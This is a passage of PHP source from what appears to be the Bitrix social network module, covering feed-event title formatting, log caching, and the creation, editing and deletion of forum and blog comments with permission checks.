						$user_tmp .= 'BX.tooltip('.$arUser["ID"].', "anchor_'.$anchor_id.'", "'.CUtil::JSEscape($ajax_page).'");';
						$user_tmp .= '</script>';
					}

					$arParams["NAME_TEMPLATE"] = $oldNameTemplate;

					$bFirst = false;
					$arLastUser = $arUser;
				}
			}
		}

		if ($bMail)
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_SYSTEM_".strtoupper($arFields["TITLE"])."_".($count > 1 ? "2" : "1")."_MAIL");
		else
		{
			if (in_array($arFields["TITLE"], array("moderate", "unmoderate", "join", "unjoin")))
			{
				if (
					$count == 1
					&& $arLastUser
				)
					$suffix = $arLastUser["PERSONAL_GENDER"];
				else
					$suffix = "";
			}
			else
				$suffix = $arFields["CREATED_BY_PERSONAL_GENDER"];

			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_SYSTEM_".strtoupper($arFields["TITLE"])."_".($count > 1 ? "2" : "1".(strlen(trim($suffix)) > 0 ? "_".$suffix : "")));

			$title_tmp_24 = GetMessage("SONET_GL_EVENT_TITLE_SYSTEM_".strtoupper($arFields["TITLE"])."_".($count > 1 ? "2_24" : "1_24".(strlen(trim($suffix)) > 0 ? "_".$suffix : "")));
		}

		$url = CComponentEngine::MakePathFromTemplate($arParams["PATH_TO_GROUP"], array("group_id" => $arFields["ENTITY_ID"]));
		$suffix = (is_array($GLOBALS["arExtranetGroupID"]) && in_array($arFields["ENTITY_ID"], $GLOBALS["arExtranetGroupID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");

		if (strlen($url) > 0)
			$group_tmp = '<a href="'.$url.'">'.$arFields["GROUP_NAME"].'</a>'.$suffix;
		else
			$group_tmp = $arFields["GROUP_NAME"].$suffix;

		$title = str_replace(
			array("#USER_NAME#", "#ENTITY#", "#GROUP_NAME#"),
			array($user_tmp, $arResult["ENTITY"]["FORMATTED"], $group_tmp),
			$title_tmp
		);

		$title_tmp_24 = str_replace(
			array("#USER_NAME#"),
			array($user_tmp),
			$title_tmp_24
		);

		if ($bMail)
			$arResult["EVENT_FORMATTED"] = array(
				"TITLE" => $title,
				"MESSAGE" => false
			);
		else
		{
			switch ($arFields["TITLE"])
			{
				case "join":
				case "moderate":
				case "owner":
					$classname = "join-group";
					break;
				case "unjoin":
				case "exclude_group":
				case "unmoderate":
					$classname = "leave-group";
					break;
				default:
					$classname = "";
			}

			if ($arParams["MOBILE"] == "Y")
				$arResult["EVENT_FORMATTED"] = array(
					"TITLE_24" => $title_tmp_24,
					"DESTINATION" => array(
						array(
							"STYLE" => "",
							"TITLE" => $arFields["GROUP_NAME"].$suffix,
							"URL" => $url
						)
					),
					"STYLE" => $classname
				);
			else 
				$arResult["EVENT_FORMATTED"] = array(
					"TITLE" => false,
					"MESSAGE" => $title,
					"IS_MESSAGE_SHORT" => true,
					"TITLE_24" => $title_tmp_24,
					"DESTINATION" => array(
						array(
							"STYLE" => "sonetgroups",
							"TITLE" => $arFields["GROUP_NAME"].$suffix,
							"URL" => $url
						)
					),
					"STYLE" => $classname
				);
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	public static function SetCacheLastLogID($type = "log", $id)
	{
		global $CACHE_MANAGER;

		$CACHE_MANAGER->Read(86400*365, "socnet_log_".$type."_id", "log");
		$CACHE_MANAGER->Clean("socnet_log_".$type."_id", "log");
		$CACHE_MANAGER->Read(86400*365, "socnet_log_".$type."_id", "log");
		$CACHE_MANAGER->SetImmediate("socnet_log_".$type."_id", intval($id));
	}

	public static function GetCacheLastLogID($type = "log")
	{
		global $CACHE_MANAGER;

		$id = 0;
		if ($CACHE_MANAGER->Read(86400*365, "socnet_log_".$type."_id", "log"))
			$id = $CACHE_MANAGER->Get("socnet_log_".$type."_id");

		return $id;
	}

	public static function SetUserCache($type = "log", $user_id, $max_id, $max_viewed_id, $count, $bSetViewTime = false, $LastViewTS = 0)
	{
		global $CACHE_MANAGER;

		$user_id = intval($user_id);

		$CACHE_MANAGER->Read(86400*365, "socnet_log_user_".$type."_".$user_id);
		$CACHE_MANAGER->Clean("socnet_log_user_".$type."_".$user_id);
		$CACHE_MANAGER->Read(86400*365, "socnet_log_user_".$type."_".$user_id);

		$CACHE_MANAGER->SetImmediate("socnet_log_user_".$type."_".$user_id, array(
			"Type" => $type,
			"UserID" => $user_id,
			"MaxID" => intval($max_id),
			"MaxViewedID" => intval($max_viewed_id),
			"Count" => intval($count),
			"LastVisitTS" => time(),
			"LastViewTS" => ($bSetViewTime ? time() : intval($LastViewTS))
		));
	}

	public static function GetUserCache($type = "log", $user_id)
	{
		global $CACHE_MANAGER;

		if ($CACHE_MANAGER->Read(86400*365, "socnet_log_user_".$type."_".intval($user_id)))
			return $CACHE_MANAGER->Get("socnet_log_user_".$type."_".intval($user_id));
		else
			return array(
				"Type" => "",
				"UserID" => 0,
				"MaxID" => 0,
				"MaxViewedID" => 0,
				"Count" => 0,
				"LastVisitTS" => 0,
				"LastViewTS" => 0
			);
	}

	function AddComment_Forum($arFields)
	{
		global $USER_FIELD_MANAGER, $USER;

		if (!CModule::IncludeModule("forum"))
		{
			return false;
		}

		$ufFileID = array();
		$ufDocID = array();

		$sNote = '';

		$dbResult = CSocNetLog::GetList(
			array(),
			array("ID" => $arFields["LOG_ID"]),
			false,
			false,
			array("ID", "SOURCE_ID", "SITE_ID", "TITLE", "PARAMS")
		);

		if ($arLog = $dbResult->Fetch())
		{
			$arMessage = CForumMessage::GetByID($arLog["SOURCE_ID"]);
			if ($arMessage)
			{
				$userID = $USER->GetID();
				$notificationSiteId = false;

				$arLogSites = array();
				$rsLogSite = CSocNetLog::GetSite($arLog["ID"]);
				while ($arLogSite = $rsLogSite->Fetch())
				{
					$arLogSites[] = $arLogSite["LID"];
					if (
						!$notificationSiteId
						&& (
							!CModule::IncludeModule('extranet')
							|| $arLogSite["LID"] != CExtranet::GetExtranetSiteID()
						)
					)
					{
						$notificationSiteId = $arLogSite["LID"];
					}
				}

				$bCurrentUserIsAdmin = CSocNetUser::IsCurrentUserModuleAdmin($arLogSites);

				if ($arFields["ENTITY_TYPE"] == SONET_ENTITY_GROUP)
				{
					if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "forum", "full", $bCurrentUserIsAdmin))
						$strPermission = "Y";
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "forum", "newtopic", $bCurrentUserIsAdmin))
						$strPermission = "M";
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "forum", "answer", $bCurrentUserIsAdmin))
						$strPermission = "I";
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "forum", "view", $bCurrentUserIsAdmin))
						$strPermission = "E";
				}
				else
				{
					if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "forum", "full", $bCurrentUserIsAdmin))
						$strPermission = "Y";
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "forum", "newtopic", $bCurrentUserIsAdmin))
						$strPermission = "M";
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "forum", "answer", $bCurrentUserIsAdmin))
						$strPermission = "I";
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "forum", "view", $bCurrentUserIsAdmin))
						$strPermission = "E";
				}

				$arFieldsMessage = array(
					"POST_MESSAGE" => $arFields["TEXT_MESSAGE"],
					"USE_SMILES" => "Y",
					"PERMISSION_EXTERNAL" => "Q",
					"PERMISSION" => $strPermission,
					"APPROVED" => "Y"
				);

				$arTmp = array();
				$USER_FIELD_MANAGER->EditFormAddFields("SONET_COMMENT", $arTmp);
				if (is_array($arTmp))
				{
					if (array_key_exists("UF_SONET_COM_DOC", $arTmp))
					{
						$GLOBALS["UF_FORUM_MESSAGE_DOC"] = $arTmp["UF_SONET_COM_DOC"];
					}
					elseif (array_key_exists("UF_SONET_COM_FILE", $arTmp))
					{
						$arFieldsMessage["FILES"] = array();
						foreach($arTmp["UF_SONET_COM_FILE"] as $file_id)
						{
							$arFieldsMessage["FILES"][$file_id] = array("FILE_ID" => $file_id);
						}

						if (!empty($arFieldsMessage["FILES"]))
						{
							$arFileParams = array("FORUM_ID" => $arMessage["FORUM_ID"], "TOPIC_ID" => $arMessage["TOPIC_ID"]);
							if (CForumFiles::CheckFields($arFieldsMessage["FILES"], $arFileParams, "NOT_CHECK_DB"))
							{
								CForumFiles::Add(array_keys($arFieldsMessage["FILES"]), $arFileParams);
							}
						}
					}
				}

				$messageID = ForumAddMessage("REPLY", $arMessage["FORUM_ID"], $arMessage["TOPIC_ID"], 0, $arFieldsMessage, $sError, $sNote);
				unset($GLOBALS["UF_FORUM_MESSAGE_DOC"]);

				// get UF DOC value and FILE_ID there
				if ($messageID > 0)
				{
					$dbAddedMessageFiles = CForumFiles::GetList(array("ID" => "ASC"), array("MESSAGE_ID" => $messageID));
					while ($arAddedMessageFiles = $dbAddedMessageFiles->Fetch())
					{
						$ufFileID[] = $arAddedMessageFiles["FILE_ID"];
					}

					$ufDocID = $USER_FIELD_MANAGER->GetUserFieldValue("FORUM_MESSAGE", "UF_FORUM_MESSAGE_DOC", $messageID, LANGUAGE_ID);
				}

				if (
					$messageID > 0
					&& CModule::IncludeModule("im")
					&& intval($arMessage["AUTHOR_ID"]) > 0
					&& $arMessage["AUTHOR_ID"] != $userID
				)
				{
					$rsUnFollower = CSocNetLogFollow::GetList(
						array(
							"USER_ID" => $arMessage["AUTHOR_ID"],
							"CODE" => "L".$arLog["ID"],
							"TYPE" => "N"
						),
						array("USER_ID")
					);

					$arUnFollower = $rsUnFollower->Fetch();
					if (!$arUnFollower)
					{
						$arMessageFields = array(
							"MESSAGE_TYPE" => IM_MESSAGE_SYSTEM,
							"TO_USER_ID" => $arMessage["AUTHOR_ID"],
							"FROM_USER_ID" => $userID,
							"LOG_ID" => $arLog["ID"],
							"NOTIFY_TYPE" => IM_NOTIFY_FROM,
							"NOTIFY_MODULE" => "forum",
							"NOTIFY_EVENT" => "comment",
						);

						$arParams["TITLE"] = str_replace(Array("\r\n", "\n"), " ", $arLog["TITLE"]);
						$arParams["TITLE"] = TruncateText($arParams["TITLE"], 100);
						$arParams["TITLE_OUT"] = TruncateText($arParams["TITLE"], 255);
						
						$arParams["URL"] = "";
						if (strlen($arLog["PARAMS"]) > 0)
						{
							$arTmp = unserialize(htmlspecialcharsback($arLog["PARAMS"]));
							if (
								$arTmp 
								&& array_key_exists("PATH_TO_MESSAGE", $arTmp)
							)
								$arParams["URL"] = CComponentEngine::MakePathFromTemplate(
									$arTmp["PATH_TO_MESSAGE"], 
									array("MID" => $messageID)
								);
						}

						$arTmp = CSocNetLogTools::ProcessPath(array("MESSAGE_URL" => $arParams["URL"]), $arMessage["AUTHOR_ID"], $notificationSiteId);
						$serverName = $arTmp["SERVER_NAME"];
						$url = $arTmp["URLS"]["MESSAGE_URL"];

						$arMessageFields["NOTIFY_TAG"] = "FORUM|COMMENT|".$messageID;
						$arMessageFields["NOTIFY_MESSAGE"] = GetMessage("SONET_FORUM_IM_COMMENT", Array(
							"#title#" => (
								strlen($url) > 0 
									? "<a href=\"".$url."\" class=\"bx-notifier-item-action\">".htmlspecialcharsbx($arParams["TITLE"])."</a>"
									: htmlspecialcharsbx($arParams["TITLE"])
							)
						));

						$arMessageFields["NOTIFY_MESSAGE_OUT"] = GetMessage("SONET_FORUM_IM_COMMENT", Array(
							"#title#" => htmlspecialcharsbx($arParams["TITLE"])
						)).(strlen($url) > 0 
							? " (".$serverName.$url.")"
							: ""
						)."#BR##BR#".$arFields["TEXT_MESSAGE"];

						CIMNotify::Add($arMessageFields);
					}
				}
			}
			else
			{
				$sError = GetMessage("SONET_ADD_COMMENT_SOURCE_ERROR");
			}
		}
		else
		{
			$sError = GetMessage("SONET_ADD_COMMENT_SOURCE_ERROR");
		}

		return array(
			"SOURCE_ID" => $messageID,
			"RATING_TYPE_ID" => "FORUM_POST",
			"RATING_ENTITY_ID" => $messageID,
			"ERROR" => $sError,
			"NOTES" => $sNote,
			"UF" => array(
				"FILE" => $ufFileID,
				"DOC" => $ufDocID
			)
		);
	}

	public static function UpdateComment_Forum($arFields)
	{
		global $USER_FIELD_MANAGER;

		if (!CModule::IncludeModule("forum"))
		{
			return false;
		}

		if (
			!isset($arFields["SOURCE_ID"])
			|| intval($arFields["SOURCE_ID"]) <= 0
		)
		{
			return false;
		}

		$messageId = intval($arFields["SOURCE_ID"]);

		$ufFileID = array();
		$ufDocID = array();
		$sNote = '';

		if ($arForumMessage = CForumMessage::GetByID($messageId))
		{
			$arFieldsMessage = array(
				"POST_MESSAGE" => $arFields["TEXT_MESSAGE"],
				"USE_SMILES" => "Y",
				"APPROVED" => "Y",
				"SONET_PERMS" => array("bCanFull" => true)
			);

			$USER_FIELD_MANAGER->EditFormAddFields("SONET_COMMENT", $arTmp);
			if (is_array($arTmp))
			{
				if (array_key_exists("UF_SONET_COM_DOC", $arTmp))
				{
					$GLOBALS["UF_FORUM_MESSAGE_DOC"] = $arTmp["UF_SONET_COM_DOC"];
				}
				elseif (array_key_exists("UF_SONET_COM_FILE", $arTmp))
				{
					$arFieldsMessage["FILES"] = array();
					foreach($arTmp["UF_SONET_COM_FILE"] as $file_id)
					{
						$arFieldsMessage["FILES"][$file_id] = array("FILE_ID" => $file_id);
					}
					if (!empty($arFieldsMessage["FILES"]))
					{
						$arFileParams = array("FORUM_ID" => $arForumMessage["FORUM_ID"], "TOPIC_ID" => $arForumMessage["TOPIC_ID"]);
						if(CForumFiles::CheckFields($arFieldsMessage["FILES"], $arFileParams, "NOT_CHECK_DB"))
						{
							CForumFiles::Add(array_keys($arFieldsMessage["FILES"]), $arFileParams);
						}
					}
				}
			}

			$messageID = ForumAddMessage("EDIT", $arForumMessage["FORUM_ID"], $arForumMessage["TOPIC_ID"], $messageId, $arFieldsMessage, $sError, $sNote);
			unset($GLOBALS["UF_FORUM_MESSAGE_DOC"]);

			// get UF DOC value and FILE_ID there
			if ($messageID > 0)
			{
				$dbAddedMessageFiles = CForumFiles::GetList(array("ID" => "ASC"), array("MESSAGE_ID" => $messageID));
				while ($arAddedMessageFiles = $dbAddedMessageFiles->Fetch())
				{
					$ufFileID[] = $arAddedMessageFiles["FILE_ID"];
				}

				$ufDocID = $USER_FIELD_MANAGER->GetUserFieldValue("FORUM_MESSAGE", "UF_FORUM_MESSAGE_DOC", $messageID, LANGUAGE_ID);
			}
		}
		else
		{
			$sError = GetMessage("SONET_UPDATE_COMMENT_SOURCE_ERROR");
		}

		return array(
			"ERROR" => $sError,
			"NOTES" => $sNote,
			"UF" => array(
				"FILE" => $ufFileID,
				"DOC" => $ufDocID
			)
		);
	}

	public static function DeleteComment_Forum($arFields)
	{
		$arRes = array();

		if (
			CModule::IncludeModule("forum")
			&& isset($arFields["SOURCE_ID"])
			&& intval($arFields["SOURCE_ID"]) > 0
			&& isset($arFields["EVENT_ID"])
			&& strlen($arFields["EVENT_ID"]) > 0
			&& isset($arFields["LOG_SOURCE_ID"])
			&& intval($arFields["LOG_SOURCE_ID"]) > 0
		)
		{
			$logEventMeta = CSocNetLogTools::FindLogEventByCommentID($arFields["EVENT_ID"]);

			if (
				true || // we are not ready to use \Bitrix\Forum\Comments\Feed yet
				$logEventMeta["EVENT_ID"] == "forum"
			)
			{
				if (CModule::IncludeModule("forum"))
				{
					ForumActions("DEL", array(
						"MID" => intval($arFields["SOURCE_ID"]),
						"PERMISSION" => "Y"
					), $strErrorMessage, $strOKMessage);

					$arRes["ERROR"] = $strErrorMessage;
					$arRes["NOTES"] = $strOKMessage;
				}
			}
			else
			{
				if ($logEventMeta)
				{
					$arForumMetaData = CSocNetLogTools::GetForumCommentMetaData($logEventMeta["EVENT_ID"]);
				}

				if ($arForumMetaData)
				{
					$messageId = intval($arFields["SOURCE_ID"]);

					$rsMessage = CForumMessage::GetList(
						array(),
						array("ID" => $messageId),
						false,
						0,
						array(
							"SELECT" => array("FORUM_ID")
						)
					);
					if ($arMessage = $rsMessage->Fetch())
					{
						$forumId = intval($arMessage["FORUM_ID"]);
					}

					if (
						$forumId
						&& intval($forumId) > 0
					)
					{
						if (
							(
								$arForumMetaData[0] == 'WF'
								|| $arForumMetaData[0] == 'FORUM'
							)
							&& isset($arFields["LOG_ID"])
							&& intval($arFields["LOG_ID"]) > 0
						)
						{
							$rsLog = CSocNetLog::GetList(
								array(),
								array("ID" => intval($arFields["LOG_ID"])),
								false,
								false,
								array("MESSAGE", "RATING_ENTITY_ID")
							);
							if ($arLog = $rsLog->Fetch())
							{
								if ($arForumMetaData[0] == 'WF')
								{
									$entityId = $arLog["MESSAGE"];
								}
								elseif ($arForumMetaData[0] == 'FORUM')
								{
									$entityId = $arLog["RATING_ENTITY_ID"];
								}
							}
						}
						elseif (
							$arForumMetaData[0] == 'FORUM'
							&& isset($arFields["LOG_ID"])
							&& intval($arFields["LOG_ID"]) > 0
						)
						{
							$rsLog = CSocNetLog::GetList(
								array(),
								array("ID" => intval($arFields["LOG_ID"])),
								false,
								false,
								array("MESSAGE")
							);
							if ($arLog = $rsLog->Fetch())
							{
								$entityId = $arLog["MESSAGE"];
							}
						}
						else
						{
							$entityId = $arFields["LOG_SOURCE_ID"];
						}

						$feed = new \Bitrix\Forum\Comments\Feed(
							intval($forumId),
							array(
								"type" => $arForumMetaData[1],
								"id" => intval($arFields["LOG_SOURCE_ID"]),
								"xml_id" => $arForumMetaData[0]."_".$entityId
							)
						);

						if (!$feed->delete($messageId))
						{
							$arRes["ERROR"] = "";
							foreach($feed->getErrors() as $error)
							{
								$arRes["ERROR"] .= $error->getMessage();
							}
						}
						else
						{
							$arRes["NOTES"] = GetMessage("SONET_DELETE_COMMENT_SOURCE_SUCCESS");
						}
					}
				}
			}
		}

		if (!isset($arRes["NOTES"]))
		{
			$arRes["ERROR"] = GetMessage("SONET_DELETE_COMMENT_SOURCE_ERROR");
		}

		return $arRes;
	}

	function AddComment_Blog($arFields)
	{
		global $USER, $APPLICATION;

		if (!CModule::IncludeModule("blog"))
			return false;

		$dbResult = CSocNetLog::GetList(
			array(),
			array("ID" => $arFields["LOG_ID"]),
			false,
			false,
			array("ID", "SOURCE_ID", "SITE_ID")
		);

		if ($arLog = $dbResult->Fetch())
		{
			$arPost = CBlogPost::GetByID($arLog["SOURCE_ID"]);
			if ($arPost)
			{
				$arBlog = CBlog::GetByID($arPost["BLOG_ID"]);
				$userID = $USER->GetID();

				$arLogSites = array();
				$rsLogSite = CSocNetLog::GetSite($arLog["ID"]);
				while ($arLogSite = $rsLogSite->Fetch())
					$arLogSites[] = $arLogSite["LID"];

				$bCurrentUserIsAdmin = CSocNetUser::IsCurrentUserModuleAdmin($arLogSites);
				$strPermission = BLOG_PERMS_DENY;
				$strPostPermission = BLOG_PERMS_DENY;

				if ($arFields["ENTITY_TYPE"] == SONET_ENTITY_GROUP)
				{
					if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "full_post", $bCurrentUserIsAdmin))
						$strPostPermission = BLOG_PERMS_FULL;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "premoderate_post"))
						$strPostPermission = BLOG_PERMS_PREMODERATE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "write_post"))
						$strPostPermission = BLOG_PERMS_WRITE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "moderate_post"))
						$strPostPermission = BLOG_PERMS_MODERATE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "view_post"))
						$strPostPermission = BLOG_PERMS_READ;

					if($strPostPermission > BLOG_PERMS_DENY)
					{
						if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "full_comment", $bCurrentUserIsAdmin))
							$strPermission = BLOG_PERMS_FULL;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "moderate_comment"))
							$strPermission = BLOG_PERMS_MODERATE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "write_comment"))
							$strPermission = BLOG_PERMS_WRITE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "premoderate_comment"))
							$strPermission = BLOG_PERMS_PREMODERATE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "view_comment"))
							$strPermission = BLOG_PERMS_READ;
					}
				}
				else
				{
					if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "full_post", $bCurrentUserIsAdmin) || $APPLICATION->GetGroupRight("blog") >= "W" || $arFields["USER_ID"] == $userID)
						$strPostPermission = BLOG_PERMS_FULL;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "moderate_post"))
						$strPostPermission = BLOG_PERMS_MODERATE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "write_post"))
						$strPostPermission = BLOG_PERMS_WRITE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "premoderate_post"))
						$strPostPermission = BLOG_PERMS_PREMODERATE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "view_post"))
						$strPostPermission = BLOG_PERMS_READ;

					if($strPostPermission > BLOG_PERMS_DENY)
					{
						if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "full_comment", $bCurrentUserIsAdmin) || $APPLICATION->GetGroupRight("blog") >= "W" || $arFields["USER_ID"] == $userID)
							$strPermission = BLOG_PERMS_FULL;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "moderate_comment"))
							$strPermission = BLOG_PERMS_MODERATE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "write_comment"))
							$strPermission = BLOG_PERMS_WRITE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "premoderate_comment"))
							$strPermission = BLOG_PERMS_PREMODERATE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "view_comment"))
							$strPermission = BLOG_PERMS_READ;
					}
				}

				$UserIP = CBlogUser::GetUserIP();
				$path_to_post = ($arFields["ENTITY_TYPE"] == SONET_ENTITY_GROUP ? $arFields["PATH_TO_GROUP_BLOG_POST"] : $arFields["PATH_TO_USER_BLOG_POST"]);

				$arFieldsComment = Array(
					"POST_ID" => $arPost["ID"],
					"BLOG_ID" => $arBlog["ID"],
					"POST_TEXT" => $arFields["TEXT_MESSAGE"],
					"DATE_CREATE" => ConvertTimeStamp(time()+CTimeZone::GetOffset(), "FULL"),
					"AUTHOR_IP" => $UserIP[0],
					"AUTHOR_IP1" => $UserIP[1],
					"AUTHOR_ID" => $userID,
					"PARENT_ID" => false
				);

				if($strPermission == BLOG_PERMS_PREMODERATE)
				{
					$arFieldsComment["PUBLISH_STATUS"] = BLOG_PUBLISH_STATUS_READY;
					$strNotes = GetMessage("SONET_GL_ADD_COMMENT_BLOG_PREMODERATE");
				}

				$commentUrl = CComponentEngine::MakePathFromTemplate(
					htmlspecialcharsBack($path_to_post),
					array(
						"blog" => $arBlog["URL"],
						"post_id" => CBlogPost::GetPostID($arPost["ID"], $arPost["CODE"], $arFields["BLOG_ALLOW_POST_CODE"]),
						"user_id" => $arBlog["OWNER_ID"],
						"group_id" => ($arFields["ENTITY_TYPE"] == SONET_ENTITY_GROUP ? $arFields["ENTITY_ID"] : false)
					)
				);

				$arFieldsComment["PATH"] = $commentUrl.(strpos($arFieldsComment["PATH"], "?") !== false ? "&" : "?")."commentId=#comment_id##com#comment_id#";

				$commentId = CBlogComment::Add($arFieldsComment);
				if($strPermission == BLOG_PERMS_PREMODERATE)
					unset($commentId);

				BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/comment/".$arPost["ID"]."/");
				BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/post/".$arPost["ID"]."/");
				BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/first_page/");
				BXClearCache(True, "/".SITE_ID."/blog/last_comments/");
				BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/rss_out/".$arPost["POST_ID"]."/C/");
				BXClearCache(True, "/".SITE_ID."/blog/last_messages/");
				BXClearCache(True, "/".SITE_ID."/blog/commented_posts/");
				BXClearCache(True, ComponentHelper::getBlogPostCacheDir(array(
					'TYPE' => 'posts_popular',
					'SITE_ID' => SITE_ID
				)));
			}
			else
				$strError = GetMessage("SONET_ADD_COMMENT_SOURCE_ERROR");
		}

		return array(
			"SOURCE_ID" => $commentId,
			"RATING_TYPE_ID" => "BLOG_COMMENT",
			"RATING_ENTITY_ID" => $commentId,
			"ERROR" => $strError,
			"NOTES"	=> $strNotes
		);
	}

	function AddComment_Microblog($arFields)
	{
		global $USER, $APPLICATION;

		if (!CModule::IncludeModule("blog"))
			return false;

		$dbResult = CSocNetLog::GetList(
			array(),
			array("ID" => $arFields["LOG_ID"]),
			false,
			false,
			array("ID", "SOURCE_ID", "SITE_ID")
		);

		if ($arLog = $dbResult->Fetch())
		{
			$arPost = CBlogPost::GetByID($arLog["SOURCE_ID"]);
			if ($arPost)
			{
				$arBlog = CBlog::GetByID($arPost["BLOG_ID"]);
				$userID = $USER->GetID();

				$arLogSites = array();
				$rsLogSite = CSocNetLog::GetSite($arLog["ID"]);
				while ($arLogSite = $rsLogSite->Fetch())
					$arLogSites[] = $arLogSite["LID"];

				$bCurrentUserIsAdmin = CSocNetUser::IsCurrentUserModuleAdmin($arLogSites);
				$strPermission = BLOG_PERMS_DENY;
				$strPostPermission = BLOG_PERMS_DENY;

				if ($arFields["ENTITY_TYPE"] == SONET_ENTITY_GROUP)
				{
					if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "full_post", $bCurrentUserIsAdmin))
						$strPostPermission = BLOG_PERMS_FULL;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "premoderate_post"))
						$strPostPermission = BLOG_PERMS_PREMODERATE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "write_post"))
						$strPostPermission = BLOG_PERMS_WRITE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "moderate_post"))
						$strPostPermission = BLOG_PERMS_MODERATE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "view_post"))
						$strPostPermission = BLOG_PERMS_READ;

					if($strPostPermission > BLOG_PERMS_DENY)
					{
						if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "full_comment", $bCurrentUserIsAdmin))
							$strPermission = BLOG_PERMS_FULL;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "moderate_comment"))
							$strPermission = BLOG_PERMS_MODERATE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "write_comment"))
							$strPermission = BLOG_PERMS_WRITE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "premoderate_comment"))
							$strPermission = BLOG_PERMS_PREMODERATE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "blog", "view_comment"))
							$strPermission = BLOG_PERMS_READ;
					}
				}
				else
				{
					if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "full_post", $bCurrentUserIsAdmin) || $APPLICATION->GetGroupRight("blog") >= "W" || $arFields["USER_ID"] == $userID)
						$strPostPermission = BLOG_PERMS_FULL;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "moderate_post"))
